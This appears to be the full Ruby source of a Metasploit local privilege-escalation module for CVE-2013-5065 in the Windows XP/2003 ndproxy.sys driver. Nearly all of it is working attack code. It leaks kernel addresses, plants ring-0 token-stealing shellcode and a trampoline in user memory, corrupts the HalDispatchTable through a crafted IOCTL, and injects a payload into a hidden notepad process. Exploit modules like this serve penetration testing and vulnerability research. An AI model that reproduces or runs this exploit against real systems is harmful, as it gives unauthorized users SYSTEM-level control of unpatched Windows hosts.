require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Local
Rank = AverageRanking
include Msf::Post:: File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
def initialize(info={})
super (update_info(info, {
'Name' => 'Microsoft Windows ndproxy.sys Local Privilege Escalation' ,
'Description' => %q{
This module exploits a flaw in the ndproxy.sys driver on Windows XP SP3 and Windows 2003
SP2 systems, exploited in the wild in November, 2013 . The vulnerability exists while
processing an IO Control Code 0x8fff23c8 or 0x8fff23cc, where user provided input is used
to access an array unsafely, and the value is used to perform a call, leading to a NULL
pointer dereference which is exploitable on both Windows XP and Windows 2003 systems. This
module has been tested successfully on Windows XP SP3 and Windows 2003 SP2 . In order to
work the service "Routing and Remote Access" must be running on the target system.
},
'License' => MSF_LICENSE ,
'Author' =>
[
'Unknown' ,
'ryujin' ,
'Shahin Ramezany' ,
'juan vazquez'
],
'Arch' => ARCH_X86 ,
'Platform' => 'win' ,
'Payload' =>
{
'Space' => 4096 ,
'DisableNops' => true
},
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread' ,
},
'Targets' =>
[
[ 'Automatic' , { } ],
[ 'Windows XP SP3' ,
{
'HaliQuerySystemInfo' => 0x16bba,
'_KPROCESS' => "\x44" ,
'_TOKEN' => "\xc8" ,
'_UPID' => "\x84" ,
'_APLINKS' => "\x88"
}
],
[ 'Windows Server 2003 SP2' ,
{
'HaliQuerySystemInfo' => 0x1fa1e,
'_KPROCESS' => "\x38" ,
'_TOKEN' => "\xd8" ,
'_UPID' => "\x94" ,
'_APLINKS' => "\x98"
}
]
],
'References' =>
[
[ 'CVE' , '2013-5065' ],
[ 'OSVDB' , '100368' ],
[ 'BID' , '63971' ],
[ 'EDB' , '30014' ],
[ 'URL' , 'http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/' ],
[ 'URL' , 'http://technet.microsoft.com/en-us/security/advisory/2914486' ],
[ 'URL' , 'https://github.com/ShahinRamezany/Codes/blob/master/CVE-2013-5065/CVE-2013-5065.cpp' ],
[ 'URL' , 'http://www.secniu.com/blog/?p=53' ],
[ 'URL' , 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html' ],
[ 'URL' , 'http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html' ]
],
'DisclosureDate' => 'Nov 27 2013' ,
'DefaultTarget' => 0
}))
end
def add_railgun_functions
session.railgun.add_function(
'ntdll' ,
'NtAllocateVirtualMemory' ,
'DWORD' ,
[
[ "DWORD" , "ProcessHandle" , "in" ],
[ "PBLOB" , "BaseAddress" , "inout" ],
[ "PDWORD" , "ZeroBits" , "in" ],
[ "PBLOB" , "RegionSize" , "inout" ],
[ "DWORD" , "AllocationType" , "in" ],
[ "DWORD" , "Protect" , "in" ]
])
session.railgun.add_function(
'ntdll' ,
'NtDeviceIoControlFile' ,
'DWORD' ,
[
[ "DWORD" , "FileHandle" , "in" ],
[ "DWORD" , "Event" , "in" ],
[ "DWORD" , "ApcRoutine" , "in" ],
[ "DWORD" , "ApcContext" , "in" ],
[ "PDWORD" , "IoStatusBlock" , "out" ],
[ "DWORD" , "IoControlCode" , "in" ],
[ "LPVOID" , "InputBuffer" , "in" ],
[ "DWORD" , "InputBufferLength" , "in" ],
[ "LPVOID" , "OutputBuffer" , "in" ],
[ "DWORD" , "OutPutBufferLength" , "in" ]
])
session.railgun.add_function(
'ntdll' ,
'NtQueryIntervalProfile' ,
'DWORD' ,
[
[ "DWORD" , "ProfileSource" , "in" ],
[ "PDWORD" , "Interval" , "out" ]
])
session.railgun.add_dll( 'psapi' ) unless session.railgun.dlls.keys.include?( 'psapi' )
session.railgun.add_function(
'psapi' ,
'EnumDeviceDrivers' ,
'BOOL' ,
[
[ "PBLOB" , "lpImageBase" , "out" ],
[ "DWORD" , "cb" , "in" ],
[ "PDWORD" , "lpcbNeeded" , "out" ]
])
session.railgun.add_function(
'psapi' ,
'GetDeviceDriverBaseNameA' ,
'DWORD' ,
[
[ "LPVOID" , "ImageBase" , "in" ],
[ "PBLOB" , "lpBaseName" , "out" ],
[ "DWORD" , "nSize" , "in" ]
])
end
def open_device(dev)
invalid_handle_value = 0xFFFFFFFF
r = session.railgun.kernel32.CreateFileA(dev, 0x0, 0x0, nil , 0x3, 0 , 0 )
handle = r[ 'return' ]
if handle == invalid_handle_value
return nil
end
return handle
end
def find_sys_base(drvname)
results = session.railgun.psapi.EnumDeviceDrivers( 4096 , 1024 , 4 )
addresses = results[ 'lpImageBase' ][ 0 ..results[ 'lpcbNeeded' ] - 1 ].unpack( "L*" )
addresses. each do |address|
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48 , 48 )
current_drvname = results[ 'lpBaseName' ][ 0 ..results[ 'return' ] - 1 ]
if drvname == nil
if current_drvname.downcase.include?( 'krnl' )
return [address, current_drvname]
end
elsif drvname == results[ 'lpBaseName' ][ 0 ..results[ 'return' ] - 1 ]
return [address, current_drvname]
end
end
return nil
end
def ring0_shellcode(t)
restore_ptrs = "\x31\xc0"
restore_ptrs << "\xb8" + [ @addresses [ "HaliQuerySystemInfo" ] ].pack( "L" )
restore_ptrs << "\xa3" + [ @addresses [ "halDispatchTable" ] + 4 ].pack( "L" )
tokenstealing = "\x52"
tokenstealing << "\x53"
tokenstealing << "\x33\xc0"
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00"
tokenstealing << "\x8b\x40" + t[ '_KPROCESS' ]
tokenstealing << "\x8b\xc8"
tokenstealing << "\x8b\x98" + t[ '_TOKEN' ] + "\x00\x00\x00"
tokenstealing << "\x8b\x80" + t[ '_APLINKS' ] + "\x00\x00\x00"
tokenstealing << "\x81\xe8" + t[ '_APLINKS' ] + "\x00\x00\x00"
tokenstealing << "\x81\xb8" + t[ '_UPID' ] + "\x00\x00\x00\x04\x00\x00\x00"
tokenstealing << "\x75\xe8"
tokenstealing << "\x8b\x90" + t[ '_TOKEN' ] + "\x00\x00\x00"
tokenstealing << "\x8b\xc1"
tokenstealing << "\x89\x90" + t[ '_TOKEN' ] + "\x00\x00\x00"
tokenstealing << "\x5b"
tokenstealing << "\x5a"
tokenstealing << "\xc2\x10"
ring0_shellcode = restore_ptrs + tokenstealing
return ring0_shellcode
end
def fill_memory(proc, address, length, content)
result = session.railgun.ntdll.NtAllocateVirtualMemory(- 1 , [ address ].pack( "L" ), nil , [ length ].pack( "L" ), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN" , "PAGE_EXECUTE_READWRITE" )
unless proc.memory.writable?(address)
vprint_error( "Failed to allocate memory" )
return nil
end
vprint_good( "#{address} is now writable" )
result = proc.memory.write(address, content)
if result. nil ?
vprint_error( "Failed to write contents to memory" )
return nil
else
vprint_good( "Contents successfully written to 0x#{address.to_s(16)}" )
end
return address
end
def create_proc
windir = expand_path( "%windir%" )
cmd = "#{windir}\\System32\\notepad.exe"
begin
proc = session.sys.process.execute(cmd, nil , { 'Hidden' => true })
rescue Rex::Post::Meterpreter::RequestError
return nil
end
return proc.pid
end
def disclose_addresses(t)
addresses = {}
vprint_status( "Getting the Kernel module name..." )
kernel_info = find_sys_base( nil )
if kernel_info. nil ?
vprint_error( "Failed to disclose the Kernel module name" )
return nil
end
vprint_good( "Kernel module found: #{kernel_info[1]}" )
vprint_status( "Getting a Kernel handle..." )
kernel32_handle = session.railgun.kernel32.LoadLibraryExA(kernel_info[ 1 ], 0 , 1 )
kernel32_handle = kernel32_handle[ 'return' ]
if kernel32_handle == 0
vprint_error( "Failed to get a Kernel handle" )
return nil
end
vprint_good( "Kernel handle acquired" )
vprint_status( "Disclosing the HalDispatchTable..." )
hal_dispatch_table = session.railgun.kernel32.GetProcAddress(kernel32_handle, "HalDispatchTable" )
hal_dispatch_table = hal_dispatch_table[ 'return' ]
if hal_dispatch_table == 0
vprint_error( "Failed to disclose the HalDispatchTable" )
return nil
end
hal_dispatch_table -= kernel32_handle
hal_dispatch_table += kernel_info[ 0 ]
addresses[ "halDispatchTable" ] = hal_dispatch_table
vprint_good( "HalDispatchTable found at 0x#{addresses[" halDispatchTable "].to_s(16)}" )
vprint_status( "Getting the hal.dll Base Address..." )
hal_info = find_sys_base( "hal.dll" )
if hal_info. nil ?
vprint_error( "Failed to disclose hal.dll Base Address" )
return nil
end
hal_base = hal_info[ 0 ]
vprint_good( "hal.dll Base Address disclosed at 0x#{hal_base.to_s(16)}" )
hali_query_system_information = hal_base + t[ 'HaliQuerySystemInfo' ]
addresses[ "HaliQuerySystemInfo" ] = hali_query_system_information
vprint_good( "HaliQuerySystemInfo Address disclosed at 0x#{addresses[" HaliQuerySystemInfo "].to_s(16)}" )
return addresses
end
def check
vprint_status( "Adding the railgun stuff..." )
add_railgun_functions
if sysinfo[ "Architecture" ] =~ /wow64/i or sysinfo[ "Architecture" ] =~ /x64/
return Exploit::CheckCode::Detected
end
handle = open_device( "\\\\.\\NDProxy" )
if handle. nil ?
return Exploit::CheckCode::Safe
end
session.railgun.kernel32.CloseHandle(handle)
os = sysinfo[ "OS" ]
case os
when /windows xp.*service pack 3 /i
return Exploit::CheckCode::Appears
when /[ 2003 |.net server].*service pack 2 /i
return Exploit::CheckCode::Appears
when /windows xp/i
return Exploit::CheckCode::Detected
when /[ 2003 |.net server]/i
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
def exploit
vprint_status( "Adding the railgun stuff..." )
add_railgun_functions
if sysinfo[ "Architecture" ] =~ /wow64/i
fail_with(Failure::NoTarget, "Running against WOW64 is not supported" )
elsif sysinfo[ "Architecture" ] =~ /x64/
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported" )
end
my_target = nil
if target.name =~ /Automatic/
print_status( "Detecting the target system..." )
os = sysinfo[ "OS" ]
if os =~ /windows xp.*service pack 3 /i
my_target = targets[ 1 ]
print_status( "Running against #{my_target.name}" )
elsif ((os =~ / 2003 /) and (os =~ /service pack 2 /i))
my_target = targets[ 2 ]
print_status( "Running against #{my_target.name}" )
elsif ((os =~ /\.net server/i) and (os =~ /service pack 2 /i))
my_target = targets[ 2 ]
print_status( "Running against #{my_target.name}" )
end
else
my_target = target
end
if my_target. nil ?
fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually" )
end
print_status( "Checking device..." )
handle = open_device( "\\\\.\\NDProxy" )
if handle. nil ?
fail_with(Failure::NoTarget, "\\\\.\\NDProxy device not found" )
else
print_good( "\\\\.\\NDProxy found!" )
end
print_status( "Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses..." )
@addresses = disclose_addresses(my_target)
if @addresses . nil ?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Filed to disclose necessary addresses for exploitation. Aborting." )
else
print_good( "Addresses successfully disclosed." )
end
print_status( "Storing the kernel stager on memory..." )
this_proc = session.sys.process.open
kernel_shell = ring0_shellcode(my_target)
kernel_shell_address = 0x1000
result = fill_memory(this_proc, kernel_shell_address, kernel_shell.length, kernel_shell)
if result. nil ?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory" )
else
print_good( "Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}" )
end
print_status( "Storing the trampoline to the kernel stager on memory..." )
trampoline = "\x90" * 0x38
trampoline << "\x68"
trampoline << [0x1000].pack( "V" )
trampoline << "\xc3"
trampoline_addr = 0x1
result = fill_memory(this_proc, trampoline_addr, trampoline.length, trampoline)
if result. nil ?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Error while storing trampoline on memory" )
else
print_good( "Trampoline successfully stored at 0x#{trampoline_addr.to_s(16)}" )
end
print_status( "Storing the IO Control buffer on memory..." )
buffer = "\x00" * 1024
buffer[ 20 , 4 ] = [0x7030125].pack( "V" )
buffer[ 28 , 4 ] = [0x34].pack( "V" )
buffer_addr = 0x0d0d0000
result = fill_memory(this_proc, buffer_addr, buffer.length, buffer)
if result. nil ?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Error while storing the IO Control buffer on memory" )
else
print_good( "IO Control buffer successfully stored at 0x#{buffer_addr.to_s(16)}" )
end
print_status( "Triggering the vulnerability, corrupting the HalDispatchTable..." )
magic_ioctl = 0x8fff23c8
ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0 , 0 , 0 , 4 , magic_ioctl, buffer_addr, buffer.length, buffer_addr, 0x80)
session.railgun.kernel32.CloseHandle(handle)
print_status( "Executing the Kernel Stager throw NtQueryIntervalProfile()..." )
result = session.railgun.ntdll.NtQueryIntervalProfile( 1337 , 4 )
print_status( "Checking privileges after exploitation..." )
unless is_system?
fail_with(Failure::Unknown, "The exploitation wasn't successful" )
end
p = payload.encoded
print_good( "Exploitation successful! Creating a new process and launching payload..." )
new_pid = create_proc
if new_pid. nil ?
print_warning( "Unable to create a new process, maybe you're into a sandbox. If the current process has been elevated try to migrate before executing a new process..." )
return
end
print_status( "Injecting #{p.length.to_s} bytes into #{new_pid} memory and executing it..." )
if execute_shellcode(p, nil , new_pid)
print_good( "Enjoy" )
else
fail_with(Failure::Unknown, "Error while executing the payload" )
end
end
|